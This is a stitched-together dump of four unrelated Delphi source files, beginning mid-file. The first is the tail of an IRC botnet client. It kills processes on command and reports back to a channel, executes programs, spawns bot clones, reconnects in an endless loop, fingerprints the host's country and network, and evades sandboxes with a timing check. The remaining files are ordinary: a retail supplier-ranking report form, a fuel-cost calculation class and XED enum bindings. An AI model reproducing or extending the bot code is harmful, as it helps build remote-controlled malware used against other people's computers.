'+inttostr(pentry32.th32ProcessID)+' - '+pentry32.szExeFile+#10 else output := '%pm% '+nick+' :[process] failed to kill '+inttostr(pentry32.th32ProcessID)+' - '+pentry32.szExeFile+#10; output := ninja_replaceshortcuts(output); outputadd(sock, output, 1000); end; inc(count); bloop := process32next(snapshot, pentry32); end; end; function ninja_killproc(processid: integer): boolean; var return :boolean; processhandle :thandle; begin result := false; processhandle := openprocess(PROCESS_TERMINATE, BOOL(0), processid); return := terminateprocess(processhandle, 0); if not return then exit else result := true; end; function ninja_execute(name, parms: string; visible: integer): boolean; begin result := false; if shellexecute(0, 'open', pchar(name), pchar(parms), nil, visible) > 32 then result := true; end; function ninja_createclone(p: pointer): dword; stdcall; var newclone :tircbot; begin newclone := tircbot.Create; newclone.irc_nick := c_nick; newclone.address := pdata(p)^.address; newclone.port := pdata(p)^.port; newclone.b_channel := pdata(p)^.channel; newclone.key := pdata(p)^.key; newclone.irc_prefix := g_irc_prefix; newclone.connectbot; newclone.free; end; function ninja_sandbox: boolean; var count1 :integer; count2 :integer; count3 :integer; begin result := false; count1 := gettickcount(); sleep(1000); count2 := gettickcount(); sleep(1000); count3 := gettickcount(); if ((count2 - count1) < 1000) and ((count3 - count1) < 2000) then result := true; end; function LowerCase(const S: string): string; var Ch: Char; L: Integer; Source, Dest: PChar; begin L := Length(S); SetLength(Result, L); Source := Pointer(S); Dest := Pointer(Result); while L <> 0 do begin Ch := Source^; if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32); Dest^ := Ch; Inc(Source); Inc(Dest); Dec(L); end; end; function ninja_dns(dns: pchar): string; type taddr = array[0..100] of pinaddr; paddr = ^taddr; var iloop :integer; wsadata :twsadata; hostent :phostent; addr :paddr; begin wsastartup($101, wsadata); try hostent := gethostbyname(dns); if hostent <> nil then begin addr := paddr(hostent^.h_addr_list); iloop := 0; while addr^[iloop] <> nil do begin result := inet_ntoa(addr^[iloop]^); inc(iloop); end; end; except result := dns; end; wsacleanup(); end; function start_ircthread(p: pointer): dword; stdcall; var bot :tircbot; begin result := 0; bot := tircbot.Create; bot.b_channel := pdata(p)^.channel; bot.key := pdata(p)^.key; bot.address := pdata(p)^.address; bot.port := pdata(p)^.port; bot.irc_prefix := pdata(p)^.irc_prefix; repeat bot.connectbot; until 1=2; end; function strtoint(const s:string): integer; var e: integer; begin val(s, result, e); end; function inttostr(const value: integer): string; var s: string[11]; begin str(value, s); result := s; end; function ninja_getnet: string; var s :dword; begin result := 'Unknown'; s := internet_connection_lan; if (internetgetconnectedstate(@s, 0)) then if ((s) and (internet_connection_lan) = internet_connection_lan) then result := 'LAN' else if ((s) and (internet_connection_modem) = internet_connection_modem) then result := 'Dial-up'; end; function ninja_replaceshortcuts(text: string): string; begin randomize; text := ninja_replacestr(text, '%lan%', lowercase(copy(ninja_getnet, 1, 1))); text := ninja_replacestr(text, '%rand%', inttostr(random(99999))); text := ninja_replacestr(text, '%pm%', c_privmsg); text := ninja_replacestr(text, '%ni%', c_nick); text := ninja_replacestr(text, '%us%', c_user); text := ninja_replacestr(text, '%qu%', c_quit); text := ninja_replacestr(text, '%jo%', c_join); text := ninja_replacestr(text, '%uh%', c_userhost); text := ninja_replacestr(text, '%co%', ninja_getcountry(LOCALE_SABBREVCTRYNAME)); text := ninja_replacestr(text, '%cn%', ninja_getcomputername); // %co%|name|%rand% result := text; end; function ninja_replacestr(text, replace, withword: string): string; var textpos :integer; begin while pos(replace, text) > 0 do begin textpos := pos(replace, text); delete(text, textpos, length(replace)); insert(withword, text, textpos); end; result := text; end; End.
unit ufrmListBigSupplier; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ufrmMasterBrowse, StdCtrls, ExtCtrls, ActnList, uRetnoUnit, Math, System.Actions, cxGraphics, cxControls, cxLookAndFeels, cxLookAndFeelPainters, cxContainer, cxEdit, Vcl.ComCtrls, dxCore, cxDateUtils, Vcl.Menus, cxButtons, cxDropDownEdit, cxLookupEdit, cxDBLookupEdit, cxDBExtLookupComboBox, cxTextEdit, cxMaskEdit, cxCalendar, dxBarBuiltInMenu, cxStyles, cxCustomData, cxFilter, cxData, cxDataStorage, cxNavigator, Data.DB, cxDBData, ufraFooter4Button, cxLabel, cxGridLevel, cxClasses, cxGridCustomView, cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGrid, cxPC; type TfrmListBigSupplier = class(TfrmMasterBrowse) pnlTop: TPanel; lbl3: TLabel; lbl4: TLabel; dtTglFrom: TcxDateEdit; edtGroupName: TEdit; cbpGroup: TcxExtLookupComboBox; dtTglTo: TcxDateEdit; lbl5: TLabel; chkContrabon: TCheckBox; btnShow: TcxButton; btnCetak: TcxButton; cxGridViewColumn1: TcxGridDBColumn; cxGridViewColumn2: TcxGridDBColumn; cxGridViewColumn3: TcxGridDBColumn; cxGridViewColumn4: TcxGridDBColumn; cxGridViewColumn5: TcxGridDBColumn; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure actPrintExecute(Sender: TObject); procedure actRefreshExecute(Sender: TObject); procedure FormShow(Sender: TObject); procedure cbpGroupKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState); procedure cbpGroupCloseUp(Sender: TObject); procedure btnShowClick(Sender: TObject); procedure dtTglFromKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState); procedure strgGridGetFloatFormat(Sender: TObject; ACol, ARow: Integer; var IsFloat: Boolean; var FloatFormat: String); procedure dtTglFromChange(Sender: TObject); procedure dtTglToChange(Sender: TObject); procedure cbpGroupChange(Sender: TObject); procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure strgGridMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); procedure strgGridClickCell(Sender: TObject; ARow, ACol: Integer); procedure btnCetakClick(Sender: TObject); private public // procedure DelTemp(iTick: integer; aUnitID: integer); function GetListGrup: string; // procedure DelTemp(iTick: integer; aUnitID: integer); function GetListMerchan: string; function getSumSales(var aSalesLast, aSales : Currency): Boolean; { Public declarations } end; var frmListBigSupplier: TfrmListBigSupplier; implementation uses StrUtils, uTSCommonDlg, DateUtils, uAppUtils; const _Kol_GROUPCode : Integer = 0; _Kol_GROUPName : Integer = 1; _Kol_SupCode : Integer = 2; _Kol_SupName : Integer = 3; _Kol_QTY : Integer = 4; _Kol_UOM : Integer = 5; _Kol_SALES : Integer = 6; _Kol_TOTALSALES : Integer = 7; _Kol_Profit : Integer = 8; _Kol_GP : Integer = 9; //gross profit _Kol_COGS : Integer = 10; _Kol_GC : Integer = 11; //gross cogs _kol_SL : Integer = 12; //sales last _kol_TSL : Integer = 13; //total sales last _kol_PL : Integer = 14; //profit last _Kol_GPL : Integer = 15; //gross profit last _kolMerId : Integer = 16; _kolMerCode : Integer = 17; _kolMerNm : Integer = 18; _kolid : Integer = 19; _kolSubCode : Integer = 20; _kolSubNm : Integer = 21; _kol_CL : Integer = 22; //last cogs _Kol_GCL : Integer = 23; //last gross cogs _fixedRow : Integer = 1; _ColCount : Integer = 10; _rowCount : Integer = 2; {$R *.dfm} procedure TfrmListBigSupplier.FormClose(Sender: TObject; var Action: TCloseAction); begin inherited; Action := caFree; end; procedure TfrmListBigSupplier.FormCreate(Sender: TObject); begin inherited; lblHeader.Caption := 'RANGKING SUPPLIER PER MERCHANDISING'; end; procedure TfrmListBigSupplier.FormDestroy(Sender: TObject); begin inherited; // frmListBigSupplier.Free; frmListBigSupplier := nil; end; procedure TfrmListBigSupplier.actPrintExecute(Sender: TObject); //var // SS: TStrings; // i: Integer; // iGetTick: Integer; // sSQL: string; begin inherited; // iGetTick := GetTickCount; // SS :=TStringList.Create; { try for i := strgGrid.FixedRows to strgGrid.RowCount - iax do begin sSQL := 'INSERT INTO TEMP_LAPORAN (LAPORAN_ID, USER_ID, CHAR1,CHAR2,' + ' CHAR3, CHAR4, CHAR5, NUM1, NUM2, NUM3, NUM4, NUM5, NUM6, NUM7, NUM8,' + ' CHAR6, CHAR7, CHAR8, CHAR9)' + ' VALUES ('+ IntToStr(iGetTick) + ', ' + IntToStr(MasterNewUnit.ID) + ', ' + Quot(strgGrid.Cells[_kolSubCode, i]) + ', ' + Quot(strgGrid.Cells[_kolSubNm, i]) + ', ' + Quot(strgGrid.Cells[_kolMerId, i]) + ', ' + Quot(strgGrid.Cells[_kolMerCode, i]) + ', ' + Quot(strgGrid.Cells[_kolMerNm, i]) + ', ' + strgGrid.Cells[_Kol_SALES, i] + ', ' + strgGrid.Cells[_Kol_TOTALSALES, i] + ', ' + strgGrid.Cells[_Kol_Profit, i] + ', ' + strgGrid.Cells[_Kol_GP, i] + ', ' + strgGrid.Cells[_kol_SL, i] + ', ' + strgGrid.Cells[_kol_TSL, i] + ', ' + strgGrid.Cells[_kol_PL, i] + ', ' + strgGrid.Cells[_Kol_GPL, i] + ', ' + Quot(strgGrid.Cells[_Kol_SupCode, i]) + ', ' + Quot(strgGrid.Cells[_Kol_SupName, i]) + ',' + Quot(Copy(strgGrid.Cells[_Kol_GROUPName, i], 1, Pos(' ', strgGrid.Cells[_Kol_GROUPName, i]))) + ', ' + Quot(Copy(strgGrid.Cells[_Kol_GROUPName, i], Pos(' ', strgGrid.Cells[_Kol_GROUPName, i]), Length(strgGrid.Cells[_Kol_GROUPName, i]) - (Pos(' ', strgGrid.Cells[_Kol_GROUPName, i]) -1))) + '); '; SS.Append(sSQL); end; if kExecuteSQLsNoBlob(SS) then begin cCommitTrans; sSQL := 'SELECT LAPORAN_ID AS ID, USER_ID AS USRID, CHAR1 as SUBGRUP_CODE,' + ' CHAR2 as SUBGRUP_NAME, CHAR3 as MERCHANGRUP_ID,' + ' CHAR4 as MERCHANGRUP_CODE, CHAR5 as MERCHANGRUP_NAME,' + ' CHAR6 as BRG_CODE, CHAR7 as BRG_NAME,' + ' CHAR8 as KAT_CODE, CHAR9 as KAT_NAME,' + ' NUM1 AS SALES, NUM2 AS PERSENSALES, NUM3 AS PROFIT,' + ' NUM4 AS PERSENPROFIT,' + ' NUM5 as SALES_LAST, NUM6 as PERSENSALES_LAST,' + ' NUM7 as PROFIT_LAST, NUM8 AS PERSENPROFIT_LAST' + ' from TEMP_LAPORAN' + ' where LAPORAN_ID = '+ IntToStr(iGetTick) + ' and USER_ID = ' + IntToStr(MasterNewUnit.ID) + ' ORDER BY CHAR3, CHAR8, CHAR6' ; if (cbpGroup.Cells[0,cbpGroup.Row] = '1') then frVariables.Variable['title'] := 'Peringkat 5 besar Supplier dengan nilai penjualan terbesar' else if (cbpGroup.Cells[0,cbpGroup.Row] = '2') then frVariables.Variable['title'] := 'Peringkat 10 besar Supplier dengan nilai penjualan terbesar' else if (cbpGroup.Cells[0,cbpGroup.Row] = '3') then frVariables.Variable['title'] := 'Peringkat 5 besar Supplier dengan nilai profit terbesar' else if (cbpGroup.Cells[0,cbpGroup.Row] = '4') then frVariables.Variable['title'] := 'Peringkat 10 besar Supplier dengan nilai profit terbesar'; frVariables.Variable['dtTglFrom'] := dtTglFrom.Date; frVariables.Variable['dtTglTo'] := dtTglTo.Date; frVariables.Variable['loginname'] := FLoginFullname; frVariables.Variable['unitname'] := MasterNewUnit.Nama; dmReportNew.EksekusiReport('frListBigSupplier',sSQL,''); end; finally SS.Free; cExDelTmpLaporan(iGetTick, FLoginId); cCommitTrans; end; } end; procedure TfrmListBigSupplier.actRefreshExecute(Sender: TObject); begin inherited; // LoadDropDownData(cbpGroup, GetListGrup()); end; procedure TfrmListBigSupplier.FormShow(Sender: TObject); begin inherited; // if strgGrid.FloatingFooter.Visible then // iax := 2 // else // iax := 1; // dtTglFrom.Date := Now; // dtTglTo.Date := Now; // FisListingOK := False; // InisialisasiGrid; // actRefreshExecute(Self); end; procedure TfrmListBigSupplier.cbpGroupKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState); var lComboText: string; begin inherited; if Key in [VK_UP, VK_DOWN, VK_RIGHT, VK_LEFT] then Exit; if Length(cbpGroup.Text) = 2 then begin lComboText := cbpGroup.Text; // LoadDropDownData(cbpGroup, GetListGrup()); cbpGroup.Text := lComboText; cbpGroupCloseUp(Sender); end; end; procedure TfrmListBigSupplier.cbpGroupCloseUp(Sender: TObject); begin inherited; // edtGroupName.Text := cbpGroup.Cells[2,cbpGroup.Row]; end; procedure TfrmListBigSupplier.btnShowClick(Sender: TObject); var sCaption : String; begin inherited; if edtGroupName.Text = '' then begin CommonDlg.ShowError('Jenis Report belum dipilih'); Exit; end; sCaption := btnShow.Caption; Try btnShow.Caption := 'Please Wait..'; btnShow.Font.Color := clBlue; btnShow.Enabled := False; // InisialisasiGrid; // GetData; // FisListingOK := True; Finally btnShow.Enabled := true; btnShow.Caption := sCaption; btnShow.Font.Color := clWindowText; End; end; procedure TfrmListBigSupplier.dtTglFromKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState); begin inherited; // if(Key = 13) then // ParseGridData(); // FisListingOK := True; end; function TfrmListBigSupplier.GetListGrup: string; begin Result := 'SELECT MERCHANGRUP_ID, MERCHANGRUP_NAME '+ ' FROM ref$merchandise_grup ' + ' ORDER BY MERCHANGRUP_ID'; end; procedure TfrmListBigSupplier.strgGridGetFloatFormat(Sender: TObject; ACol, ARow: Integer; var IsFloat: Boolean; var FloatFormat: String); begin inherited; if ACol in [_Kol_GROUPCode, _kolMerId, _kolMerCode, _kolMerNm, _kolid, _kolSubCode, _kolSubNm, _Kol_GROUPName, _Kol_SupCode, _Kol_SupName] then IsFloat := False; if IsFloat then FloatFormat := '%.2n'; end; procedure TfrmListBigSupplier.dtTglFromChange(Sender: TObject); begin inherited; // FisListingOK := False; end; procedure TfrmListBigSupplier.dtTglToChange(Sender: TObject); begin inherited; // FisListingOK := False; end; procedure TfrmListBigSupplier.cbpGroupChange(Sender: TObject); begin inherited; // FisListingOK := False; end; function TfrmListBigSupplier.getSumSales(var aSalesLast, aSales : Currency): Boolean; var // SUBG_MERG_ID: Integer; sSQL: string; _DateFrom, _DateTo: TDateTime; begin Result := False; // _DateFrom := dtTglFrom.Date; // _DateTo := dtTglTo.Date; // sSQL := ''; //BY UNT {if (cbpGroup.Cells[0,cbpGroup.Row] = '-1') then begin // last periode // in range periode //dataSalesAnalys := PrintSalesAnalys.GetDataPrintSalesAnalysByIDUnt(arrParam); sSQL := 'SELECT SG1.SUBGRUP_MERCHANGRUP_ID, '+ '(SELECT IIF(SUM(TD.TRANSD_TOTAL),SUM(TD.TRANSD_TOTAL),0) ' + 'FROM TRANSAKSI_DETIL TD ' + 'LEFT JOIN TRANSAKSI TR ON TR.TRANS_NO = TD.TRANSD_TRANS_NO ' + 'LEFT JOIN BARANG BRG ON BRG.BRG_CODE = TD.TRANSD_BRG_CODE ' + 'LEFT JOIN REF$KATEGORI KG ON KG.KAT_ID = BRG.BRG_KAT_ID ' + 'LEFT JOIN REF$SUB_GRUP SG2 ON SG2.SUBGRUP_ID = KG.KAT_SUBGRUP_ID ' + 'WHERE SG2.SUBGRUP_CODE = SG1.SUBGRUP_CODE ' + 'AND TR.TRANS_DATE = ' + Quotd(_DateTo) + //:P_DATE_FROM_L1' + ') AS SALES_LAST, ' + '(SELECT IIF(SUM(TD.TRANSD_TOTAL),SUM(TD.TRANSD_TOTAL),0) '+ 'FROM TRANSAKSI_DETIL TD '+ 'LEFT JOIN TRANSAKSI TR ON TR.TRANS_NO = TD.TRANSD_TRANS_NO '+ 'LEFT JOIN BARANG BRG ON BRG.BRG_CODE = TD.TRANSD_BRG_CODE '+ 'LEFT JOIN REF$KATEGORI KG ON KG.KAT_ID = BRG.BRG_KAT_ID '+ 'LEFT JOIN REF$SUB_GRUP SG2 ON SG2.SUBGRUP_ID = KG.KAT_SUBGRUP_ID '+ 'WHERE SG2.SUBGRUP_CODE = SG1.SUBGRUP_CODE '+ 'AND TR.TRANS_DATE >= ' + Quotd(_DateFrom) + //:P_DATE_FROM1 '+ ' AND TR.TRANS_DATE <= ' + Quotd(_DateTo) + ') AS SALES '+//:P_DATE_TO1)AS SALES, '+ 'FROM REF$SUB_GRUP SG1 '; end else // Get List DSA Per Grup if (cbpGroup.Cells[0,cbpGroup.Row] = '-2') then begin // last periode // in range periode //dataSalesAnalys := PrintSalesAnalys.GetDataPrintSalesAnalysByGrup(arrParam); sSQL := 'SELECT MERCHGRUP.MERCHANGRUP_ID, ' + '(SELECT IIF(SUM(TD.TRANSD_TOTAL),SUM(TD.TRANSD_TOTAL),0) ' + 'FROM TRANSAKSI_DETIL TD ' + 'LEFT JOIN TRANSAKSI TR ON TR.TRANS_NO = TD.TRANSD_TRANS_NO ' + 'LEFT JOIN BARANG BRG ON BRG.BRG_CODE = TD.TRANSD_BRG_CODE ' + 'LEFT JOIN REF$KATEGORI KG ON KG.KAT_ID = BRG.BRG_KAT_ID ' + 'LEFT JOIN REF$SUB_GRUP SG2 ON SG2.SUBGRUP_ID = KG.KAT_SUBGRUP_ID ' + 'LEFT JOIN REF$MERCHANDISE_GRUP MERCHGRUP1 ON MERCHGRUP.MERCHANGRUP_ID = SG2.SUBGRUP_MERCHANGRUP_ID ' + 'WHERE MERCHGRUP1.MERCHANGRUP_ID = MERCHGRUP.MERCHANGRUP_ID AND ' + 'TR.TRANS_DATE = ' + Quotd(_DateTo) + //:P_DATE_FROM_LAST1' + ') AS SALES_LAST, ' + '(SELECT IIF(SUM(TD.TRANSD_TOTAL),SUM(TD.TRANSD_TOTAL),0) ' + 'FROM TRANSAKSI_DETIL TD ' + 'LEFT JOIN TRANSAKSI TR ON TR.TRANS_NO = TD.TRANSD_TRANS_NO ' + 'LEFT JOIN BARANG BRG ON BRG.BRG_CODE = TD.TRANSD_BRG_CODE ' + 'LEFT JOIN REF$KATEGORI KG ON KG.KAT_ID = BRG.BRG_KAT_ID ' + 'LEFT JOIN REF$SUB_GRUP SG2 ON SG2.SUBGRUP_ID = KG.KAT_SUBGRUP_ID ' + 'LEFT JOIN REF$MERCHANDISE_GRUP MERCHGRUP1 ON MERCHGRUP.MERCHANGRUP_ID = SG2.SUBGRUP_MERCHANGRUP_ID ' + 'WHERE MERCHGRUP1.MERCHANGRUP_ID = MERCHGRUP.MERCHANGRUP_ID AND ' + 'TR.TRANS_DATE >= ' + Quotd(_DateFrom) + //:P_DATE_FROM' + 'AND TR.TRANS_DATE <= ' + Quotd(_DateTo) + ') AS SALES ' +//:P_DATE_TO) AS SALES,' + 'FROM REF$MERCHANDISE_GRUP MERCHGRUP'; end else //by UNT & SUB GRUP begin SUBG_MERG_ID := StrToInt(cbpGroup.Cells[0,cbpGroup.Row]); // last periode // in range periode //dataSalesAnalys := PrintSalesAnalys.GetDataPrintSalesAnalysByGrupIDUnt(arrParam); sSQL := 'SELECT SG1.SUBGRUP_MERCHANGRUP_ID, '+ '(SELECT IIF(SUM(TD.TRANSD_TOTAL),SUM(TD.TRANSD_TOTAL),0) ' + 'FROM TRANSAKSI_DETIL TD ' + 'LEFT JOIN TRANSAKSI TR ON TR.TRANS_NO = TD.TRANSD_TRANS_NO ' + 'LEFT JOIN BARANG BRG ON BRG.BRG_CODE = TD.TRANSD_BRG_CODE ' + 'LEFT JOIN REF$KATEGORI KG ON KG.KAT_ID = BRG.BRG_KAT_ID ' + 'LEFT JOIN REF$SUB_GRUP SG2 ON SG2.SUBGRUP_ID = KG.KAT_SUBGRUP_ID ' + 'WHERE SG2.SUBGRUP_CODE = SG1.SUBGRUP_CODE ' + 'AND TR.TRANS_DATE = ' + Quotd(_DateTo) + //:P_DATE_FROM_L1' + ')AS SALES_LAST, ' + '(SELECT IIF(SUM(TD.TRANSD_TOTAL),SUM(TD.TRANSD_TOTAL),0) '+ 'FROM TRANSAKSI_DETIL TD '+ 'LEFT JOIN TRANSAKSI TR ON TR.TRANS_NO = TD.TRANSD_TRANS_NO '+ 'LEFT JOIN BARANG BRG ON BRG.BRG_CODE = TD.TRANSD_BRG_CODE '+ 'LEFT JOIN REF$KATEGORI KG ON KG.KAT_ID = BRG.BRG_KAT_ID '+ 'LEFT JOIN REF$SUB_GRUP SG2 ON SG2.SUBGRUP_ID = KG.KAT_SUBGRUP_ID '+ 'WHERE SG2.SUBGRUP_CODE = SG1.SUBGRUP_CODE '+ 'AND TR.TRANS_DATE >= ' + Quotd(_DateFrom) + //:P_DATE_FROM1 '+ 'AND TR.TRANS_DATE <= ' + Quotd(_DateTo) + ') AS SALES ' +//:P_DATE_TO1)AS SALES, '+ 'FROM REF$SUB_GRUP SG1 '+ 'WHERE (SG1.SUBGRUP_MERCHANGRUP_ID =' + IntToStr(SUBG_MERG_ID) + ')'; end; aSalesLast := 0; aSales := 0; with cOpenQuery(sSQL) do begin try while not Eof Do begin aSalesLast := aSalesLast + FieldByName('SALES_LAST').AsFloat; aSales := aSales + FieldByName('SALES').AsFloat; Next; end; Result := True; Finally Free; End; end; } end; procedure TfrmListBigSupplier.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin inherited; if(Key = Ord('P'))and(ssctrl in Shift) then begin if cbpGroup.Focused or dtTglFrom.Focused or dtTglTo.Focused then fraFooter4Button1.btnAdd.SetFocus; actPrintExecute(Self); end; end; function TfrmListBigSupplier.GetListMerchan: string; begin Result := 'SELECT MERCHAN_ID, MERCHAN_CODE, MERCHAN_NAME '+ ' FROM REF$MERCHANDISE ' + ' ORDER BY MERCHAN_CODE'; end; procedure TfrmListBigSupplier.strgGridMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin inherited; // if (strgGrid.CellRect(_Kol_GROUPCode,0).Left < X) and (X < strgGrid.CellRect(_Kol_GROUPCode,0).Right) and // (strgGrid.CellRect(_Kol_GROUPCode,0).Top < Y) and (Y < strgGrid.CellRect(_Kol_GROUPCode,0).Bottom) then // Screen.Cursor := crHandPoint // else Screen.Cursor := crDefault; end; procedure TfrmListBigSupplier.strgGridClickCell(Sender: TObject; ARow, ACol: Integer); begin inherited; if (ARow = 0) and (ACol = _Kol_GROUPCode) then begin // strgGrid.SortByColumn(ACol); // // if strgGrid.SortSettings.Direction = sdDescending then // strgGrid.SortSettings.Direction := sdAscending // else // strgGrid.SortSettings.Direction := sdDescending; end; end; procedure TfrmListBigSupplier.btnCetakClick(Sender: TObject); //var // SS: TStrings; // i: Integer; // iGetTick: Integer; // sSQL: string; begin inherited; // iGetTick := GetTickCount; // SS :=TStringList.Create; { try for i := strgGrid.FixedRows to strgGrid.RowCount - iax do begin sSQL := 'INSERT INTO TEMP_LAPORAN (LAPORAN_ID, USER_ID, CHAR1,CHAR2,' + ' CHAR3, CHAR4, CHAR5, NUM1, NUM2, NUM3, NUM4, NUM5, NUM6, NUM7, NUM8,' + ' CHAR6, CHAR7, CHAR8, CHAR9, NUM9)' + ' VALUES ('+ IntToStr(iGetTick) + ', ' + IntToStr(MasterNewUnit.ID) + ', ' + Quot(strgGrid.Cells[_kolSubCode, i]) + ', ' + Quot(strgGrid.Cells[_kolSubNm, i]) + ', ' + Quot(strgGrid.Cells[_kolMerId, i]) + ', ' + Quot(strgGrid.Cells[_kolMerCode, i]) + ', ' + Quot(strgGrid.Cells[_kolMerNm, i]) + ', ' + strgGrid.Cells[_Kol_SALES, i] + ', ' + strgGrid.Cells[_Kol_TOTALSALES, i] + ', ' + strgGrid.Cells[_Kol_Profit, i] + ', ' + strgGrid.Cells[_Kol_GP, i] + ', ' + strgGrid.Cells[_kol_SL, i] + ', ' + strgGrid.Cells[_kol_TSL, i] + ', ' + strgGrid.Cells[_kol_PL, i] + ', ' + strgGrid.Cells[_Kol_GPL, i] + ', ' + Quot(strgGrid.Cells[_Kol_SupCode, i]) + ', ' + Quot(strgGrid.Cells[_Kol_SupName, i]) + ',' + Quot(Copy(strgGrid.Cells[_Kol_GROUPName, i], 1, Pos(' ', strgGrid.Cells[_Kol_GROUPName, i]))) + ', ' + Quot(Copy(strgGrid.Cells[_Kol_GROUPName, i], Pos(' ', strgGrid.Cells[_Kol_GROUPName, i]), Length(strgGrid.Cells[_Kol_GROUPName, i]) - (Pos(' ', strgGrid.Cells[_Kol_GROUPName, i]) -1))) + ',' + strgGrid.Cells[_Kol_QTY, i] + '); '; SS.Append(sSQL); end; if kExecuteSQLsNoBlob(SS) then begin cCommitTrans; sSQL := 'SELECT LAPORAN_ID AS ID, USER_ID AS USRID, CHAR1 as SUBGRUP_CODE,' + ' CHAR2 as SUBGRUP_NAME, CHAR3 as MERCHANGRUP_ID,' + ' CHAR4 as MERCHANGRUP_CODE, CHAR5 as MERCHANGRUP_NAME,' + ' CHAR6 as BRG_CODE, CHAR7 as BRG_NAME,' + ' CHAR8 as KAT_CODE, CHAR9 as KAT_NAME,' + ' NUM1 AS SALES, NUM2 AS PERSENSALES, NUM3 AS PROFIT,' + ' NUM4 AS PERSENPROFIT,' + ' NUM5 as SALES_LAST, NUM6 as PERSENSALES_LAST,' + ' NUM7 as PROFIT_LAST, NUM8 AS PERSENPROFIT_LAST' + ' ,NUM9 as QTY' + ' from TEMP_LAPORAN' + ' where LAPORAN_ID = '+ IntToStr(iGetTick) + ' and USER_ID = ' + IntToStr(MasterNewUnit.ID) + ' ORDER BY CHAR3, CHAR8, CHAR6' ; if (cbpGroup.Cells[0,cbpGroup.Row] = '1') then frVariables.Variable['title'] := 'Peringkat 5 besar Supplier dengan nilai penjualan terbesar' else if (cbpGroup.Cells[0,cbpGroup.Row] = '2') then frVariables.Variable['title'] := 'Peringkat 10 besar Supplier dengan nilai penjualan terbesar' else if (cbpGroup.Cells[0,cbpGroup.Row] = '3') then frVariables.Variable['title'] := 'Peringkat 5 besar Supplier dengan nilai profit terbesar' else if (cbpGroup.Cells[0,cbpGroup.Row] = '4') then frVariables.Variable['title'] := 'Peringkat 10 besar Supplier dengan nilai profit terbesar'; frVariables.Variable['dtTglFrom'] := dtTglFrom.Date; frVariables.Variable['dtTglTo'] := dtTglTo.Date; frVariables.Variable['loginname'] := FLoginUsername; frVariables.Variable['unitname'] := MasterNewUnit.Nama; dmReportNew.EksekusiReport('frListBigSupplier',sSQL,''); end; finally SS.Free; cExDelTmpLaporan(iGetTick, FLoginId); cCommitTrans; end; } end; end.
unit un_ClassCalculo; interface type // Classe de Clculos de Bastecimento TCalculoABa = class strict private class var FInstance : TCalculoABa; private FValorLitro : Double; FValorTotal : Double; FQtdade : Double; FAcrescimo : Double; class procedure ReleaseInstance(); public property ValorLitro :Double read FValorLitro write FValorLitro; property ValorTotal :Double read FValorTotal write FValorTotal; property Qtdade :Double read FQtdade write FQtdade; property Acrescimo :Double read FAcrescimo write FAcrescimo; procedure ExecCalc; class function GetInstance(): TCalculoABa; end; implementation procedure TCalculoABa.ExecCalc; Var nTotalSD,nVlrAcre: Double; begin FValorLitro := ValorLitro ; FQtdade := Qtdade ; FAcrescimo := Acrescimo ; nTotalSD := ( FValorLitro * Qtdade ); nVlrAcre := ((nTotalSD/100) * FAcrescimo ); FValorTotal := nTotalSD + nVlrAcre ; end; class function TCalculoABa.GetInstance: TCalculoABa; begin if not Assigned(Self.FInstance) then self.FInstance := TCalculoABa.Create; Result := Self.FInstance; end; class procedure TCalculoABa.ReleaseInstance; begin if Assigned(Self.FInstance) then Self.FInstance.Free; end; // Inicializa initialization //Finaliza finalization TCalculoABa.ReleaseInstance(); end.
unit XED.RegClassEnum; {$Z4} interface type TXED_Reg_Class_enum = ( XED_REG_CLASS_INVALID, XED_REG_CLASS_BNDCFG, XED_REG_CLASS_BNDSTAT, XED_REG_CLASS_BOUND, XED_REG_CLASS_CR, XED_REG_CLASS_DR, XED_REG_CLASS_FLAGS, XED_REG_CLASS_GPR, XED_REG_CLASS_GPR16, XED_REG_CLASS_GPR32, XED_REG_CLASS_GPR64, XED_REG_CLASS_GPR8, XED_REG_CLASS_IP, XED_REG_CLASS_MASK, XED_REG_CLASS_MMX, XED_REG_CLASS_MSR, XED_REG_CLASS_MXCSR, XED_REG_CLASS_PSEUDO, XED_REG_CLASS_PSEUDOX87, XED_REG_CLASS_SR, XED_REG_CLASS_TMP, XED_REG_CLASS_TREG, XED_REG_CLASS_UIF, XED_REG_CLASS_X87, XED_REG_CLASS_XCR, XED_REG_CLASS_XMM, XED_REG_CLASS_YMM, XED_REG_CLASS_ZMM, XED_REG_CLASS_LAST); /// This converts strings to #xed_reg_class_enum_t types. /// @param s A C-string. /// @return #xed_reg_class_enum_t /// @ingroup ENUM function str2xed_reg_class_enum_t(s: PAnsiChar): TXED_Reg_Class_enum; cdecl; external 'xed.dll'; /// This converts strings to #xed_reg_class_enum_t types. /// @param p An enumeration element of type xed_reg_class_enum_t. /// @return string /// @ingroup ENUM function xed_reg_class_enum_t2str(const p: TXED_Reg_Class_enum): PAnsiChar; cdecl; external 'xed.dll'; /// Returns the last element of the enumeration /// @return xed_reg_class_enum_t The last element of the enumeration. /// @ingroup ENUM function xed_reg_class_enum_t_last:TXED_Reg_Class_enum;cdecl; external 'xed.dll'; implementation end.
